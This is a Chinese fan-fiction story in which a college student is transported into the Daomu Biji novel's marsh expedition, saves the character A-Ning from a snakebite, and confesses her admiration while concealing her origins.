《阿宁,请不要死》
1. 穿书
我背部紧紧贴着一颗参天古树,脚下踩着下陷的烂泥,空气中弥漫着湿润和闷热,我缓缓做着深呼吸,平复糟糕的心情。
…
这是一片原始森林,我不知道这是哪儿。我叫林霖,他大爷的只是一个愚蠢的大学生,原本在一个5A级景区夜爬,爬着爬着我迷路了,该死的高德把我往不知名的小路上引,明明是下山的路,我却没有走到缆车下站。
我进入了一片沼泽森林中。
我气得要跳起来,这鬼地方究竟是哪?我来之前没听过这个5A级景区有什么沼泽!我打开高德,却发现在手机右上角根本没有信号,拼命刷新手机也无济于事。
我把手机攥在手里,观察四周的环境,如果不是知道我是在这个景区里,我一定会觉得进入了什么热带雨林地区。
我来的路鬼打墙似的消失了,举目所及都是茂盛的树冠和各种藤类,它们在我头顶上编织成一大半网,仿佛要把我死死困住。森林中有奇怪的声音响起,我不知道那时什么动物的吼叫,反正不是什么善茬,因为我已经起了鸡皮疙瘩。
我在心里直骂爹,这个地方不是我一个没有探险经验的人能走出去的,现在看来只有一个办法了,虽然什么“女大学生夜爬迷路凌晨报警求助”的新闻很社死,但我只能这样做了。
我拨打110,提前微笑起来,脑中斟酌着措辞。
一分钟过去了,没有打通。
手机上显示“无服务”。
我摁灭屏幕,向前走,打算找个有信号的地方。天蒙蒙亮起来,我感觉有些奇怪,因为高德导航下山路程好像才一个小时,凌晨一点天就亮了?
我正打算再确认一下时间,余光却扫到什么东西,我立刻僵住了,浑身血液几乎逆流,头皮发麻。
一条蛇在我正对面,它高高昂起脖子,阴冷地盯着我,通体火红,三角形的头部有一个形似鸡冠的东西。
我就算没见过什么蛇,也知道三角形头,颜色鲜艳的蛇一定是有剧毒的。
沼泽的泥泞吸附住我的登山靴,我低着头用余光看它,慢慢抬起脚后退。
那条蛇突然发出一阵笑声,似鸡鸣又像某种人尖锐的笑,好像在嘲笑我。
我快吓死了,但没关系,它笑我就笑我,只要不来咬我,就算就地给它磕一个头也不是不行。
我慢慢后退,好在这只蛇没有追上来,我可能是退出了它的领地,它悠悠地游走了。
我拔腿就跑,狂奔三分钟来到这颗大树下,后怕和恐惧一股脑涌上来,我背靠大树想顺着树滑下去。但我眉头一皱又放弃了——不是又重振信心打算大干一场,是因为地上全是泥,我不想坐一屁股泥。
背包和裤子被我甩上不少泥点,现在我也管不了这么多了,靠着大树缓缓做深呼吸。
…
蛇很恐怖,但我总觉得有种熟悉感,见过是没见过的,但好像在那里看到过关于它外形的描述。
这时有几道纷乱的脚步声飞快逼近,我一闪身躲在数后面,这棵树有三人合抱这么粗,躲一个人绰绰有余。
我探出脑袋,几道身影喘着粗气从丛林里跑出来,几个人冲到膝盖深的水里,那里有一片峡谷瀑布,这个地方似乎刚下过雨,水流很大。
他们嚷嚷着什么冲出来,人人身上都带血,凶神恶煞的。我被震慑住了,一时间不敢动,观察他们。
一个动作十分敏捷的女人拿着矿灯扫视一圈,喊道:“那里!”
几个人拉扯着一窝蜂跑过去,他们跑去了瀑布里面,一个借一个躲在瀑布后面石壁缝隙里。
我很快就明白他们如此惊恐的原因,一条金褐色的巨蟒自丛林里窜出来,大概三四米,有水桶粗,长强有力的尾巴把沿途的灌木拍的粉碎!
是这个东西在追他们!我双手死死捂住嘴巴,不敢发出一点声音。
透过瀑布水帘,一个胖子的身影似乎还在外面,他正拼命往里挤着,里面的人也在拼命拉他,我不禁为他心禁胆战起来,如果他没能进去,瀑布外面的巨蟒只需要一个探头,就足以把他撕成碎片!
奇怪的是,巨蟒徘徊了一会儿,竟然走了。
我松了一口气,巨蟒不走,我也不知道能藏到几时。
巨蟒的危机解除了,但他们遇到了别的危险,“咯咯”的声音混杂着水声回荡,这是…那种毒蛇!
他们在缝隙之中遇到了红色鸡冠蛇!
缝隙里的人一个接一个退出来,好在那只蛇没有攻击他们,不知道是不是之前我遇到的那只。
过了会儿,所有人都出来了,他们才略微放松一些。
从听到声音开始,我就把自己整个人藏在树后面,打开手机摄像把手机探出一个角观察情况,这个位置说近不近,说远不远,但只要我不出声,他们应该不会发现我。
这是一个队伍,我直觉他们不是普通人,因为他们虽然狼狈不堪,但人人都还算镇定,有人手里还拿着刀和/枪。
我仔细看了好几遍,确认他们手里拿的是真/枪,在心里盘算着等出去报警抓他们,非法持械够他们喝一壶的。
不过他们是干什么的?偷猎者?
队伍中有一个女性,四个男性,我屏息听着他们说话。
之前卡在缝隙里的胖子问:“现在怎么办?”
短发女人走到水边,接水洗了把脸,露出一张艳丽的面孔,说:“等天亮了,我们回去把装备捡回来,然后找个地方休息一下,这里太危险了,我们还是得快点出去。”〔1〕
胖子骂骂咧咧说着什么,但我没听到了,有种古怪的熟悉感漫上心头,我再也无法忽视这种感觉。我死死盯着她锐利的面容和一头短发,视线再扫过这个队伍的成员。
英姿飒爽的干练短发女人。
眼神清澈神色后怕的男大。
没什么表情的酷哥。
三高堪忧的胖子。
一身腱子肉浑身是血的寸头。
我的手不受控制地抖动起来,心情比遇到野鸡脖子还要跌宕起伏。
我想起来了,他们是谁,这里,是什么地方!
阿宁、吴邪、张起灵、王月半、潘子…
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…这里是…蛇沼鬼城!
这次浑身的血是真的凉了,大爷的我一个三好学生,从小到大好好学校天天向上经常骑老太太过马路,父母眼里的乖乖女老师眼里的好学生,终于熬出头上大学了选了个离家远远的大学每天过着摸鱼逃课的快乐生活,一个周末夜爬竟然给我干《盗墓笔记》里来了?
蛇沼鬼城…蛇沼鬼城…小说里它是在柴达木盆地无人区,我明明是在华东旅行!我迷个路的功夫、下个山的功夫,跨越了大半个中国深入祖国西部腹地?!
不带这样的,难道是什么绝密的西部计划派我来执行?加学分吗……
我颤抖着手打开手机日历,按书里这个时间线,现在是2004年,我才刚出生…甚至这个手机还没被生产出来!
手机日历飞速向前跳跃着,时钟疯狂逆时针旋转,仿佛直升飞机旋翼起飞,失控狂乱的变幻数字,手机逐渐发烫。
在我心神剧震的时刻,属于命运的齿轮依然在缓缓转动,一直无形的大手拨动着棋盘,仿佛没有人能逃开她的命运,阿宁念着剧本上的台词,走向属于她的结局。
“那也得去找,现在不回去,等需要的时候想去找就更不可能了。”〔2〕
她支开几个人,等他们走远了,用瀑布的水冲洗胸口,洗去污泥。
熟悉的话另我悚然一惊,就是这句话,我想起来了,书中吴邪他们躲过巨蟒、就是在这个瀑布边,阿宁被野鸡脖子袭击,命丧黄泉!这个强悍艳丽、永远生机勃勃有着强大生命力的女人,带着她的不甘和野心,永远留在了这片雨林!
吴邪他们离她远去,现在,在树后面的我反而成了离她最近的人。
我浑身战栗起来,心被揪紧了,这种感觉很奇怪,我明知她是必死的人,但我无法接受她以这种方式死去。
我很喜欢这个角色,看到她的结局时,写了三千字怒骂南派三叔。
她是一个战士,她有勇有谋,果决狠辣。这样有魄力有魅力的人,不该这么草率的死去。
将军她生来应该死在战场上,而不是什么帝王的猜忌中!
不,我不想要阿宁是这样的结局,如果……我的到来是老天冥冥之中想改变什么,那么我……心甘情愿!
我丢开手机,转身猛地飞扑向她:“阿宁!不!”
我从来没想过我会有这么快的速度和爆发力,如果我跑八百米也有这样的实力,那我一定能吊打全校学生并且把所有体育系的学生踩在脚下。
所有人都没想到重重树影下还有第六个人存在,都吃了一惊,在我扑向阿宁的一刹那,我听到近在咫尺的“咯咯”声和吴邪的惊呼!
这个瞬间时间仿佛放慢了似的,我看到阿宁的眼里满是惊讶和震惊,能得到她这样一个眼神,我也算死而无憾了。
我视死如归地扑倒她,两个人摔在水里,炮弹般的冲击力溅起一人高的水花,我双臂环抱住她的头,避免她头部受到撞击,与此同时,冷血动物的森冷粘腻攀上我的脖子,我脖子一凉。
闭上眼,脑子里只有一个想法:完了。
2. 表白
一阵令人头皮发麻的骨骼断裂声响起,我还以为自己颈椎被勒断了,但显然不是,因为我还能自主呼吸。
阿宁徒手捏断了蛇的脖子,就在我的耳朵旁边。
她确认蛇死的透透的,把它扔到水里,野鸡脖子很快顺着水流飘走了。
我脖子非常凉,有一处地方仿佛被冰快敷过,失去了知觉,那大概就是蛇咬中的地方。浑身都湿透了,衣服里灌满了水,我无助的躺在阿宁的怀里,我要死了。
毒素顺着我的颈动脉迅速向全身蔓延,我喘不过来气,睁大眼睛看着阿宁。
吴邪他们都跑过来,很吃惊地看着我,把我和阿宁围成一个圈。
雨林里很闷热,但我在渐渐变冷,我的瞳孔放大,一只手轻轻拉着阿宁的衣服,顾不得她讶异的眼神了,我在不说点什么就要死了。
我是身穿,不是魂穿,死了大概是真的死了。真可惜,我长这么大还没谈过女朋友呢。
我凝视她沾着水的睫毛,特别好看,美爆了。她短发上的水一滴一滴砸下来,滴在我的下巴上,我知道我死了以她的性格不可能为我哭,这水滴就当她送我的眼泪吧。
我艰难开口:“阿宁……你不知道我是谁,但我知道你。我…很喜欢你,我从小到大没喜欢过什么人,我就喜欢你,你一出场我就爱上你了,你怎么样我都喜欢。”
我说的全情投入,沉浸在自我感动中,完全没有注意她在锐利——疑惑——愕然不断变化的眼神。
我说着说着就哭了:“阿宁,我真的特别特别喜欢你,你带队探险我喜欢、你骗吴邪我喜欢、你吃西湖醋鱼我喜欢……说真的你怎么连西湖醋鱼都说好吃啊,要不是隔着次元壁我真想请你去我家吃饭……”
一旁的吴邪和胖子愣了,吴邪还有点莫名。阿宁去楼外楼吃西湖醋鱼还是吴邪请的客,他们在纳闷我怎么知道的。
可惜我当时根本没想怎么多,反正我都要死了,爆点马也没事,等我嘎了还能把我摇起来问还是咋的。
我哀嚎着,滚烫的泪水从眼角滑落,我猜我大概哭的很伤心,竟然没有一个人讲话,我估摸着是被我强烈的哀伤感染了。
我窝在阿宁的臂弯里,抽泣着开始打嗝,是那种控制不了的抽气嗝:“阿宁,我大概要死了……嗝,你不用调查我的来历,嗝……反正你也查不出来,我要走啦,你一定要照顾…嗝好自己,不要再一个人落单了……”
我就知道我一到关键时刻就会掉链子,现在这么煽情的时侯我他大爷的究竟在打什么嗝啊!还有我虽然冷冷的,但我已经说了大概三分钟话了?野鸡脖子毒发这么慢吗?我还没死?
事情似乎有些棘手起来,我的话讲完了但人还没死。我闭上嘴,一瞬间想着要不要来个优美闭眼歪头,手无力垂落的电视剧唯美镜头,但有人“噗嗤”一声笑了。
正是阿宁,她眼睛眯起来,瞳仁里闪着促狭的笑,我直接看呆了。
笑声像是打开了什么开关,除了张起灵,所有人都笑得前仰后合,吴邪和胖子相互拍打对方的肩膀,潘子浑身是血,龇牙咧嘴的笑着,连张起灵脸上都有一丝无奈。
我吓的一个激灵,就算再迟钝的人都应该猜出来什么了,我说:“等等……我没被蛇咬?”
阿宁点点头:“没错,你好着呢。”
我上手摸摸脖子,果然完好无损,只是有些滑滑的,应该是那条蛇盘绕过的缘故,我的脸直接烧起来,人也不好意思赖在阿宁怀里了,撑着地一下子站起来,窘迫极了。
我从兜里摸出酒精湿巾,撕开包装擦擦脖子,同时飞快地思考对策。
这下玩大了,我该怎么解释啊救命救命。
刚擦完,一只匕首抵上我的脖子,阿宁不知道什么时候从他们手里拿了一把匕首。仿佛是我自己给自己消毒方便她割喉一样,这可真是个地狱笑话。
我咽了咽唾沫,丝毫不敢动。
阿宁用匕首挑起我的下巴,逼视我的眼睛:“首先,谢谢你救了我,其次,你是谁?谁派你来的?”
我也不知道啊救命,我紧张地说:“我叫林霖,是党派我来的。”
我高举双手,虽然没有人要求我这么做,大概是看出来我没有武功和危险性。
“政府的人?”干这行人都很敏感,没有人懂我的抽象,潘子甚至抬起了枪管。
这辈子我见过的真枪只在运钞车的武警手上,而且也没被人拿枪指过啊。这种人类真理大象见了都胆寒,更别说我了。
吴邪看我的样子大概有点不忍心,让潘子放下枪,询问道:“你认识阿宁,还知道她骗过我,连她吃西湖醋鱼都知道,这你怎么解释?”
这我怎么扯啊,难道要告诉他们你们是一本书里的人物,而我是20年后穿来的书粉?
我大脑飞速运转,在尽可能说实话的基础上隐瞒一些不能告诉他们的事情。我说我只是个迷路的游客,大学生,一个人来柴达木旅游,和导游走散,不知不觉就走到这里了。认识他们是因为有朋友是九门的人,对你们比较熟悉,还给我看过照片,我也就认识你们了。
这一关勉强过了,阿宁似乎想问什么,但又打消了这个想法,我暗暗松了一口气。
胖子是个粗中有细的人,他去我藏身的地方捡起我的背包,当时我扑向阿宁的时候泥鳅般脱离了我的背包,它一直孤零零地躺在泥地里。
几个人围起来翻我的包,潘子恨不得把我的包整个倒出来,被吴邪制止了,他在衣服上抹抹自己的手,尽量让手干净点,他一样一样看着,并没有把它们弄脏。
在此期间阿宁一直在观察我,我朝她傻笑着。
我确实有点紧张,倒不是怕他们翻包,包里没什么可疑的东西,就是一些碘伏纱布什么的出门便携医药品、水、零食、还有充电宝之类的。
唯一让我害怕的就是我的手机和夹在手机壳里的身份证,我的华为手机根本不是这个时代的产物,身份证上也清清楚楚地写着我的出身日期和身份证年限。
2004年我才刚出生,现在我应该是个婴儿而不是一个20岁的大学生!
不过还好我手机不在包里,被我扔到烂泥里了。
他们看起来是没有找到什么可疑的东西,吴邪翻出了我的卫生用品,还脸红着放回去了。
胖子对我的充电宝很感兴趣,拿在手里翻来覆去地看:“乖乖,这是个什么玩意儿,别是什么小型炸弹吧。”
阿宁见多识广,斜睨一眼我的神色说:“这是充电宝,你手机呢?”
我说遇到野鸡脖子的时候逃跑路上丢了,这很合理,很正常,倒是没有人怀疑我。
阿宁搜我的身,我不敢看她的眼睛,盯着地面。
她大概是想找呼叫机之类的电子通讯,可惜我真的没这儿玩意,
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我身上除了纸巾和湿巾什么都没有,她把我浑身上下摸了一遍,我僵硬得像个木头人,叫抬手就抬手,叫抬腿就抬腿。
还真让她摸出来一个东西:我冲锋衣内侧口袋的奶酪棒。
这款奶酪棒是伊利和迪士尼的联名款,上面印着艾莎公主的头像,草莓味,我带着当零嘴儿吃的。
我紧张起来,现在才零几年,哪有什么冰雪奇缘艾莎公主?而且奶酪棒的后面日期是2024年,万一他们发现我……
阿宁扫了我一眼,大概是注意到我神色变了,以为这是我的秘密,双手沿着包装缝隙直接撕开,奶白色的奶酪棒暴露在空气中,草莓味和奶香飘出来。
她沉默了,似乎很无语,说:“吃的?”
阿宁完全没有注意到爱莎公主,大概认为只是什么普通的卡通人物。我一下想明白了,她一个走南闯北的雇佣兵又不看迪士尼动画,谁会注意它出过什么人物?
我从她手中把奶酪棒拿回来,向她发出邀请:“很好吃的,你要尝尝嘛。”
包装盒被我十分自然地丢在地上,上面2024/11/15的生产日期被泥泞覆盖。
真正的秘密被我消灭了。
阿宁拒绝了,拒绝我是正常的,他们这种人会对一切不合常理的人和事保持警惕。
不像我们大学生会主动问别人要吃的。
吴邪把包递给我,我粉色兔子背包被我甩到地里糊满了污泥,我心疼极了,也只能先背起来。
我的叙述不足以取信于人,但无论他们怎么看,我都是一副毫无威胁的小白兔样子,就和我的兔子背包一样。
但我凭空出现在这里却很是诡异,还认识他们每个人。这太巧合了,我要是他们我也不相信。
如果可以我真想回到几分钟前把躺在阿宁怀里口出狂言的自己扇十八个耳巴子,祸从口出啊。
他们短暂地商量后,决定先把我带在身边,一是不管怎么说我救了阿宁一命,要是任由我留在这里大概率会死;二是我的身份存疑,估计等出去了还要调查我。
但是我不怕,光脚的不怕穿鞋的,一个不存在世上的人,怎么查出她的来历呢?
阿宁走在前面,我跟在她身后,其他人把我半包围起来,大概是怕我突然图穷匕见暴起伤人什么的。
吴邪对我很好奇,过来问我是哪个学校的,我说我是北大的,他很高兴地说他是浙大毕业的。
虽然他已经毕业几年了,虽然我是十几年后才上的大学,但痛斥水课老师和小组作业依然能另我们迅速拉进距离。
天亮了,阳光斜斜地照下来,四周水汽蒸腾,仙气飘飘,刹那间摄人的雨林也不那么可怕了,整个沼泽明亮起来。
阿宁走在水雾中,背影挺拔,手中握着一把匕首。她满身是水,鞋子、裤脚都是泥,但她是那么昂扬,那么鲜活,行走跳跃是那么有力,强劲。
我眨眨眼,眼眶热热的,几乎要怀疑这是不是一场梦境了,也许这一切都是我的幻觉?也许我只是在下山的路上失温了,倒在路边做的梦?或者我干脆已经死了,是我飘出灵魂编织的梦境?
我掐掐胳膊,试图在疼痛中找到一点实感,但我没感觉到痛,而吴邪吃痛地说:“林霖,你干嘛?”
没感到痛是因为我掐的他胳膊,我笑了,很诚恳地向他道歉。
真好,这一切都是真的。
3. 可爱
密集的丛林我们是不敢进去了,里面大蛇小蛇毒蛇各种蛇应有尽有,去了就是给蛇当早餐。
我们顺着峡谷的边缘淌着齐膝深的水前进,走了大概十几分钟,他们在丛林里和巨蟒搏斗奔逃,现在松懈下来都很疲惫。加上温度升高,空气湿热,胖子大汗淋漓拼命喘气,看起来快死掉了。
吴邪想休息一下,还没开口,在前面的阿宁招呼道:“快来!”
我犹如听到五十米短跑发令枪般跑过去,我个人感觉是灵魂扯着我肉/体过去的。
吴邪看着一溜烟跑走的我,目瞪口呆。和潘子两个人架着胖子过来。
阿宁脚下是一片斜坡,下面就是峡谷的出口。
顺着斜坡下去,是一大片黑色的沼泽,远处是盘根错杂的水生雨林,几个人淌水过去,在沼泽浅出有一块裸露出的巨大石头,很平整,可以休息。我们手脚并用爬了上去,这块石头不简单,什么雕刻着某种复杂的古老纹路,和我去博物馆透过玻璃看的石碑文有些像。
水面之下有庞大的影子,是这石头在沼泽里面的部分,它裸露出的岩壁仅仅是冰山一角,我们几个在这上面就像巨大祭盘之上的祭品,渺小极了。
阿宁他们在研究石头上的古老铭文,我在回想书中这个情节点。
黑沼的深处,有十分密集的黑影,那是西王母的古城废墟,而他们一行人的目的,就是探寻西王母宫遗址。
我盯着脚下,在原书中,阿宁的尸体被吴邪背着带到这块石头上,后来阿宁就是在这里被野鸡脖子运走,最后成为蛇窝的养料。她死后,竟然连尸体都不能保存完整。
“想什么呢,回神了。”不知什么时候,阿宁走到我面前打了个响指,她指指这块石头:“我们在这里休息一下。”
阳光洒在石头上,顶端的水渍已经蒸发,不是那么潮湿了。我们分成两拨,我和阿宁在石头这边,他们在那边,衣服湿了需要脱下来处理,阿宁拿着匕首冷冷地警告胖子不要扭头乱看。
胖子看起来有些不服气,吴邪拉拉他表示他们知道了,阿宁才回来。
我包里有两把伞,一把太阳伞一把雨伞,把它们撑起来放在地上,在上面盖上一件雨衣,我蹲下来在雨衣上面朝他们那边看去,确认他们就算看也看不到,我才放下心来。
阿宁没说什么,利落地坐下,她点起火,在我旁边坐下,开始脱衣服。
我惊的要跳起来,她只穿了一件短袖,连内衣都没穿,这一脱什么都看到了,我赶紧捂住眼睛,耳朵红透了。
我双脚挪动,慢慢把自己换了个方向,原先我是面对着她的,现在我斜着侧对她了。
我把冲锋衣和裤子,鞋袜脱掉,在短袖里鬼鬼祟祟脱了内衣,身上只剩下T恤和内裤。
脱下来的衣服废了很大力气拧水,然后学着阿宁的样子把它们平铺上在干燥的石头上,登山靴最惨烈,里面灌满了水,翻过来一倒,成股的水流顺着石头淌下去,这鞋是晒不干了。
阿宁很自然,大概是觉得和我一个同性坦诚相待没什么,身后有水烧开的声音,她说:“林霖?来吃点东西。”
我不好意思地应了,低着头转过来,也不敢看她。她分给我的是压缩饼干和肉罐头,我吃了两口差点噎死,拿起我的草莓熊保温杯猛灌几口才顺下去。
她瞥着我,吹了口烧好的水喝着:“你家境不错吧?你爸妈允许你一个人来这里旅游?”
我说:“不允许,我偷偷出来的,他们不知道,大概还以为我在学校好好呆着呢。”说着我有些难过,我到了这里,可能一辈子都回不去了,虽然我的渣妈渣爹天天各玩各的一个比一个潇洒,也没这么爱我,但我还没到和母父形同陌路的地步。
我发着呆,阿宁不知道什么时候睡着了,吴邪他们也睡着了。四周变得静悄悄的,只有一些不知名的鸟鸣声。
我手机没了,也不知道时间,不过看太阳的位置现在大概是早晨八九点的样子。阿宁睡的很熟,均匀的呼吸声从我身侧传来,她倒是完全不防备我,这有点不像她了。
就这么确定我手无缚鸡之力?我有些郁闷,不过想想也释然了,我手里什么武器都没有,徒手搏斗她大概一拳就能把我打死,倒是没什么好担心的。
我有些困,但是不敢睡。按照我自己的时间线,我从昨天白天到今天都没有睡了,但在这个危机四伏无数野鸡脖子暗中潜伏的地方,我真的不敢睡。
一想到沼泽中、雨林里一双双冷血的眼睛盯着我们,伺机而动,我就神经紧绷。
我脱下所有的衣服,拧干,挂在伞上晒。反正阿宁睡着了,看不到我。石头上实在硌得慌,我拉过背包,坐在上面。
这时候我想起我包里有一个压缩毛毯,我留着夜里登山保暖用的,还没拆开。
阿宁背对着我侧躺着,背部蝴蝶骨美的惊人,身体起伏着一个优美的弧线,一节一节的脊柱坚硬又柔韧,背部皮肤上有一些伤疤。
我盯着那些疤痕,这大概是她之前行动中受过的伤,疤痕颜色不同,有深有浅,是不同时期的伤。
很美,像花一样。这些疤痕是她的勋章。
毯子轻轻盖在她身上,掀起一股微弱的风。
日头大了,我觉得自己就像一条晒干的咸鱼,瘫在一块大石头上。
我把半干的衣服穿上,枕在背包上看着天空,拿背包带子遮着眼睛,阳光暖洋洋的,如果不是地上太硬,这个湿润的空气和温暖的阳光我还以为在海边晒日光浴。奔波和惊惧被腹中的食物和舒适的温度抚慰了,迷迷糊糊间,我不知不觉睡着了。
等我再次醒来,天色已经暗淡下来,我大概睡了六七个小时,这个时间对阿宁他们来说可能有些不够,但对我们熬夜惯了的夜猫子来说足够睡好了再去疯玩了。
我第一时间看向阿宁,她还没醒,不过翻了个身,正面对着我。她身上的毯子没了,穿上了自己的衣服,我一动才发现毯子在我身上。
中途她醒过?
睡着的阿宁神色没这么冷淡和坚毅了,碎发散在她脸上,可能有些痒,她皱了皱眉。我抱着毯子挪过去,跪坐在她旁边,伸手想给她捋捋头发,手指刚碰到她,她一下子就醒了。
我怕她误会我有坏心,刷的举起手:“我就是想帮你捋一下头发!”
出乎我意料的是,她竟然笑了一下,也不睡了,坐起身来,噼里啪啦地舒展身体:“这么怕我?我有这么可怕吗?”
她这一笑实在风情万种,眼睛眯起来,里面闪着细碎的光。我的脸又有发烧的趋势,讷讷地说:“不可怕,可爱。”
这次轮到她愣了,好半晌都没说话,我摸回去打算把裤子外套都穿上,一摸,衣服竟然干了,只有鞋子湿湿的。
我除了鞋其他都穿好了,吴邪那边还没动静,大概还没醒,胖子鼾声如雷,石头简直都在震动。
阿宁把熄灭的火堆重新烧起来,夜空下这是唯一的光源。她隔着火光对我说:“
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你…为什么要救我?”
来了,这一关还是要过的,我怎么回答?直接回答这个世界其实是一本叫“盗墓笔记”的书,你是纸片人,而我是你的粉丝,瀑布前你注定要被野鸡脖子咬死,我接受不了。这么回答会被当成神经病吧?
我故作轻松地说:“我就是,看不得别人在我面前死啊,当时我看到瀑布中红光一闪,什么都没想就扑过去了。”我在心里默默补充到,当然不是谁都会救,换了别人比如胖子我还是让他自生自灭的。因为是你,我的意难平,我最喜欢的人,我才会救你哇。
阿宁点了点头,似乎接受了这个回答,不再问了:“谢谢,出去后我打一笔钱给你。”
我一下子郁闷起来,阿宁这话说的就像是告诉我一笔钱了结我的救命之恩后我们两不相欠,再也没有交集。
而且我能不能活着出去都不知道呢,再来个野鸡脖子,我作为全队最菜选手,无疑第一个死的就是我。
阿宁又烧了一壶开水,拿过我的草莓熊水杯灌满,这水是她从沼泽里打的,加了消毒片,闻起来一股厕所消毒水味。
她视力很好,看我怀疑的闻了闻并且神色惨然,说:“你先对付着喝,等我们找到补给,再给你拿矿泉水。”
我一时间有些羞赧,大家都喝这种水,我当然也能喝,人家这样说简直就把“娇气”两个字拍我脸上了。
天彻底黑下来,吴邪他们也醒了,我把东西都收拾好,穿上鞋,这时候听见吴邪叫我们过去,那边似乎有情况。
我们跑过去,我在背包侧边翻出手电,紧跟在阿宁身后。
吴邪三人都起来了,胖子还在睡,吴邪说胖子不太对劲,叫不醒,我的手电扫过胖子旁边,细小纷乱的泥印赫然出现。
“是那种蛇!”
我压低声音说道,我看书时印象很深,就是这些蛇运走了阿宁的尸体,让她死后不得安宁!在所有人睡着的情况下,它果然还是来了!
他们吃了一惊,吴邪的灯照过去的瞬间,几道肉眼无法捕捉的影子飞速窜出去,接着是噗嗤噗嗤的落水声,像是有人往水里撒了一捧小石子。
我和吴邪的灯只能捕捉到水面的涟漪和远去的水痕,它们迅速遁走,快的不可思议。
没人去追,这种速度,张起灵也追不上。
吴邪小心翼翼上前,推了一下胖子,他一下子就醒了,看我们都围着他莫名其妙,开口骂了几句。
吴邪确认他没被咬,松了口气。夜晚温度降低,远处纠缠的雨林围在一起窃窃私语般注视着我们,沉沉夜幕之中仿佛有某种危险靠近,我心中不安起来,吴邪同样很慌,我们俩简直要一起瑟瑟发抖起来。
张起灵让我们用灯扫射四周,我的灯光最亮,掠过一处泥潭时,一个黑漆漆的人影一闪而过,我心脏差点骤停,胖子也看到了,吓的大叫一声,所有光源汇聚过去。
一个浑身涂满黑泥的瘦削影子,几乎与夜色融为一体,浑身上下亮的地方只有眼白,她站在齐腰深的水里,直勾勾地看着我们[1]。
“狗日的,那是什么东西?”胖子喊道[2]。
我心中剧震,那是……陈文锦。
张起灵惊叫一声,扭身就冲入夜幕。
陈文锦似乎有意引他,离得近了她一个纵身跳入水中,两个人眨眼间就不见了。
阿宁和吴邪都想追过去,被我和潘子拉住,我大喊属于潘子的台词:“别追了阿宁,我们追不上的!”
4. 身份
巨石上面,我们围成一个圈烤火,等着张起灵回来。
阿宁很焦躁,在我面前走来走去。陈文锦是西王母宫的重要线索,抓住她,也许就能得到很多问题的答案。
我让阿宁先休息会儿,她没理我,现在我们都围在火堆面前,她一个人走来走去,我一直看着她,又忍不住害怕起来,跑到她身边拉她过来:“阿宁,来烤烤火,你衣服又有点湿了,小心野鸡脖子,别离我们太远。”
她表情不太好,大概是觉得我不可能理解她焦急的原因,但没有说什么,顺着我的力道过来坐下。
我把鞋袜脱了放在火堆旁,温暖干燥的火缓缓蒸发着水汽,我听着他们的讨论声,身边是体温偏高,很温暖的阿宁。渐渐的,上下眼皮开始打架,脖子一歪睡了过去。
剩下的事我就不知道了。
所有人一愣,林霖窝在阿宁的肩颈处,眉眼舒展,面容娴静,她散开了高马尾,绸缎般的波浪卷发大片大片铺在阿宁胸口,反射着橘红色的火光。
眼瞅着有向下滑的趋势,阿宁一把扶住她脑袋,把她放在自己腿上。
吴邪对潘子使了个眼色,潘子确认到:“她睡着了,没装。”
四周寂静无声,吴邪压低声音:“你们说她到底是谁?我和她聊过天,可以确认她是货真价实的大学生,但……她真是无意中误入这里的?我总觉得哪里不对,她知道的太多了,阿宁骗过我的事,我没跟别人说过,问她怎么知道的也语焉不详。就是刚刚陈文锦出现,她竟然没什么惊讶的表情,也没问我们她是谁,人不可能一点都不好奇吧?我更倾向于,她连陈文锦都知道!”
在寂静的夜幕中,吴邪声音惊悚意味十足,胖子搓着胳膊,骂骂咧咧:“嘿,狗日的真邪乎,我说吴邪你能别用讲鬼故事的语气说话吗!”
到底是听进去了,这话有理有据,所有人都盯着林霖,但看她毫无防备的睡颜和年轻的脸,任谁也不能把她同“老谋深算”“处心积虑”联想到一块。
潘子说:“漂亮女人都爱骗人。小三爷说的对,她肯定有问题,但我们不知道。这个人太邪乎了,我观察过她,这小丫头步伐很飘,下盘不稳,不是练家子,应该比小三爷还弱。但是真他大爷邪门了,当时阿宁在瀑布边,我就看这丫头狼犬猎豹一样猛冲出来,差点以为她埋伏阿宁,枪都抬起来了!”
胖子满不在乎的挑了挑火,“她不是着急救你阿宁吗,我跟你们说哎,当时胖爷我看的清清楚楚,要是没人家小姑娘救你,你早就被野鸡脖子咬死了!尸体这会儿都长尸斑了估计。”
潘子怼了胖子一句:“就你天天马后炮,啥都懂。”接着又对阿宁说话,语气十分疑惑不接:“她和你非亲非故的,为啥要救你?如果是想打入我们内部,这苦肉计也太冒险了,也需要时机,谁能想到野鸡脖子会飞出来!”
阿宁还没说话,吴邪突然开口:“她不是说她喜欢你吗,阿宁,我看是她之前在哪见过你,被你迷住了,崇拜你。”
阿宁叹了口气,陈文锦的事还没着落,林霖也是个大问题。她疲惫的揉揉太阳穴:“林霖的话存疑,她真假话混合着说的,但她对我们没有恶意。关于她的身份,你们看,她衣服胸口处的这个绣线?Arc''teryx,这是一个加拿大品牌,走高端路线,价格昂贵,但她穿的毫不爱惜。她谈吐举止优雅,眼界算的上开阔。除了对枪有些害怕,对我们其他的装备都见怪不怪,甚至手电筒都比我们的好。这些都说明她家境不凡,是富家小姐。”
她接着说:“这种人,不会被钱收买。不会是探子。我之前也从来没见过她,她救我,大概是出于善良。”
胖子在那边问啥牌子,没听过,一件多少钱,吴邪说一件几千。
胖子见钱眼开,看林霖都顺眼多了:“乖乖,这姑娘真有钱啊。”他对阿宁说:“她是善良,又不是傻,我告诉你们有钱人最精了,他们最讲利益和回报,反正我不信因为善良她就豁出小命救你,我看是一种世俗不能言说的爱情。”
他的话更惊人,几个人脸色怪异起来,瀑布边,原本没太当回事的林霖“临终遗言”回荡在每个人耳边。
吴邪说:“胖子你知道的还挺多,大学里确实有女生喜欢女生……”
胖子摆摆手,表示自己见多识广。潘子就很难以置信了,视线在阿宁和林霖脸上来回扫,震撼中夹杂着不信。
“好了!”阿宁头都大了,“她的身份我回去会派人调查,现在别说这些有的没的了,先想想明天怎么打算吧。”
一夜无梦,第二天我醒过来,睡的腰酸背痛,浑身僵硬。还好阿宁给我头垫了包,不然我肯定要落枕。
我这辈子没睡过这么硬的石头床,正龇牙咧嘴的掰胳膊腿,抬头一下看到他们几个眼神怪怪的。
我瞅瞅自己衣服,是完好无损的,以纳闷的目光询问他们,都不说话。
阿宁看我起来了,让我收拾收拾,看我的眼神也有些不自然,我随便抓抓头发,总觉得睡觉的时候错过了一些东西。
张起灵果然还是没有回来,书中这个剧情点,他要等会到吴邪他们找到三叔的营帐才回来。
